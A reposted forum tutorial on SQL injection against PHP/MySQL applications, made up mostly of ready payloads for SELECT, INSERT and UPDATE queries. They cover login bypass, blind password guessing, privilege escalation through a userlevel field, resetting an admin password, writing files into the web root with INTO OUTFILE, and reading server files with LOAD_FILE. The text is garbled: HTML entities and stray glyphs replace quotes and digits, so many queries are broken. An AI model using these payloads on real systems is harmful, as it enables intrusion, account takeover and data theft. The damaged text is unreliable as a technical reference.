发新话题
打印

[转载]L'injection (My)SQL via PHP

[转载]L'injection (My)SQL via PHP

文章作者:小夜

PHP注入.精简版本.小夜整理.有些地方我加了注释.
文章比较细致.主要介绍了三种SQL句子的注入方法.

1- SELECT
2- INSERT
3- UPDATE

$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name"


où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :


<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>

SELECT * FROM membres WHERE name LIKE &#39;%%&#39; ORDER BY uid#%&#39; ORDER BY name

$req = "SELECT uid FROM admins WHERE login=&#39;$login&#39; AND password=&#39;$pass&#39;"

SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE &#39;uuu&#39;=&#39;uuu&#39;
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE &#39;b&#39; BETWEEN &#39;a&#39; AND &#39;c&#39;
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END -------小猪早就开始利用了.呵呵.


SELECT uid FROM admins WHERE login=&#39;&#39; OR &#39;a&#39;=&#39;a&#39; AND password=&#39;&#39; OR &#39;a&#39;=&#39;a&#39;

SELECT uid FROM admins WHERE login=&#39;John&#39; AND password=&#39;&#39; OR &#39;b&#39; BETWEEN &#39;a&#39; AND &#39;c&#39;

SELECT * FROM table WHERE nom=&#39;Jack&#39;# commentaire

SELECT * FROM table WHERE nom=&#39;Jack&#39;


SELECT * FROM table WHERE /* commentaires */ addresse=ཕ rue des roubys&#39;

SELECT * FROM table WHERE addresse=ཕ rue des roubys&#39;

SELECT uid FROM admins WHERE login=&#39;John&#39;#&#39; AND password=&#39;&#39;

SELECT uid FROM admins WHERE login=&#39;&#39; OR admin_level=1#&#39; AND password=&#39;&#39;

$req = "SELECT password FROM admins WHERE login=&#39;$login&#39;"

SELECT * FROM table INTO OUTFILE &#39;/complete/path/to/file.txt&#39; ----将表导出.


SELECT password FROM admins WHERE login=&#39;John&#39; INTO DUMPFILE &#39;/path/to/site/file.txt&#39;

http://[target]/file.txt.
frog&#39; INTO OUTFILE &#39;/path/to/site/file.php .

$req = "SELECT uid FROM membres WHERE login=&#39;$login&#39; AND password=&#39;$pass&#39;"

SELECT * FROM table WHERE msg LIKE &#39;%hop&#39;

SELECT * FROM table WHERE msg LIKE &#39;hop%&#39;

SELECT * FROM table WHERE msg LIKE &#39;%hop%&#39;

SELECT * FROM table WHERE msg LIKE &#39;h%p&#39;

SELECT * FROM table WHERE msg LIKE &#39;h_p&#39;


SELECT uid FROM membres WHERE login=&#39;Bob&#39; AND password LIKE &#39;a%&#39;#&#39; AND password=&#39;&#39;


SELECT uid FROM membres WHERE login=&#39;Bob&#39; AND LENGTH(password)=6#&#39; AND password=&#39;&#39;


$req = "SELECT email, website FROM membres WHERE name LIKE &#39;%$search%&#39; ORDER BY name"


SELECT * FROM membres WHERE name LIKE &#39;%%&#39; ORDER BY uid#%&#39; ORDER BY name


$req = "SELECT email, website FROM membres WHERE name LIKE &#39;%$search%&#39; ORDER BY $orderby"

以上是SELECT的注入.上面提到的.我们早已经掌握了.继续看

INSERT :

CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


$query1 = "INSERT INTO membres (login,password,nom,email,userlevel) VALUES (&#39;$login&#39;,&#39;$pass&#39;,&#39;$nom&#39;,&#39;$email&#39;,Ƈ&#39;)"


INSERT INTO membres (login,password,nom,email,userlevel) VALUES (&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,Ɖ&#39;)#&#39;,Ƈ&#39;)


CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default Ƈ&#39;,
PRIMARY KEY (id)
)

$query2 = "INSERT INTO membres SET login=&#39;$login&#39;,password=&#39;$pass&#39;,nom=&#39;$nom&#39;,email=&#39;$email&#39;"


INSERT INTO membres SET login=&#39;&#39;,password=&#39;&#39;,nom=&#39;&#39;,userlevel=Ɖ&#39;,email=&#39;&#39;


CREATE TABLE membres (
id varchar(15) NOT NULL default &#39;&#39;,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


$query3 = "INSERT INTO membres VALUES (&#39;$id&#39;,&#39;$login&#39;,&#39;$pass&#39;,&#39;$nom&#39;,&#39;$email&#39;,Ƈ&#39;)"


INSERT INTO membres VALUES (&#39;[ID]&#39;,&#39;[LOGIN]&#39;,&#39;[PASS]&#39;,&#39;[NOM]&#39;,&#39;a@a.a&#39;,Ɖ&#39;)#&#39;,Ƈ&#39;)


可见.INSERT注入关键是截断,)再加注释的利用.没问题.很简单吧.继续

UPDATE的利用


CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


$sql = "UPDATE membres SET password=&#39;$pass&#39;,nom=&#39;$nom&#39;,email=&#39;$email&#39; WHERE id=&#39;$id&#39;"


UPDATE membres SET password=&#39;[PASS]&#39;,nom=&#39;&#39;,userlevel=Ɖ&#39;,email=&#39; &#39; WHERE id=&#39;[ID]&#39;


UPDATE membres SET password=&#39;[nouveaupass]&#39; WHERE nom=&#39;Admin&#39;#&#39;,nom=&#39;[NOM]&#39;,email=&#39; &#39; WHERE id=&#39;[ID]&#39;


UPDATE membres SET password=&#39;[nouveaupass]&#39; WHERE nom=&#39;Admin&#39;


UPDATE membres SET password=&#39;[PASS]&#39;,nom=&#39;[NOM]&#39;,email=&#39; &#39; WHERE id=&#39;&#39; OR name=&#39;Admin&#39;


CREATE TABLE news (
idnews int(10) NOT NULL auto_increment,
title varchar(50),
author varchar(20),
news text,
Votes int(5),
score int(15),
PRIMARY KEY (idnews)
)


$sql = "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews=&#39;$id&#39;"

UPDATE news SET Votes=Votes+1, score=score+3, title=&#39;hop&#39; WHERE idnews=཈&#39;

UPDATE news SET Votes=Votes+1, score=score+3,Votes=0 WHERE idnews=཈&#39;

UPDATE news SET Votes=Votes+1, score=score+3, title=char(104,111,112) WHERE idnews=཈&#39;

la fonction ASCII() ou ORD(). ASCII(&#39;h&#39;) et ORD(&#39;h&#39;)


UPDATE news SET Votes=Votes+1, score=score+3, title=0x616263 WHERE idnews=཈&#39;
SELECT CONV("abc",16,3), CONV("abc",16,8).


DATABASE() et USER() ( ou SYSTEM_USER() ou CURRENT_USER() ou SESSION_USER() )

UPDATE news SET Votes=Votes+1, score=score+3, title=DATABASE() WHERE idnews=཈&#39;

UPDATE news SET Votes=Votes+1, score=score+3, news=LOAD_FILE(&#39;/tmp/picture&#39;) WHERE idnews=཈&#39;


一句话.当常规注入失败的时候.要想到灵活运用函数看看. OK.完毕..
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题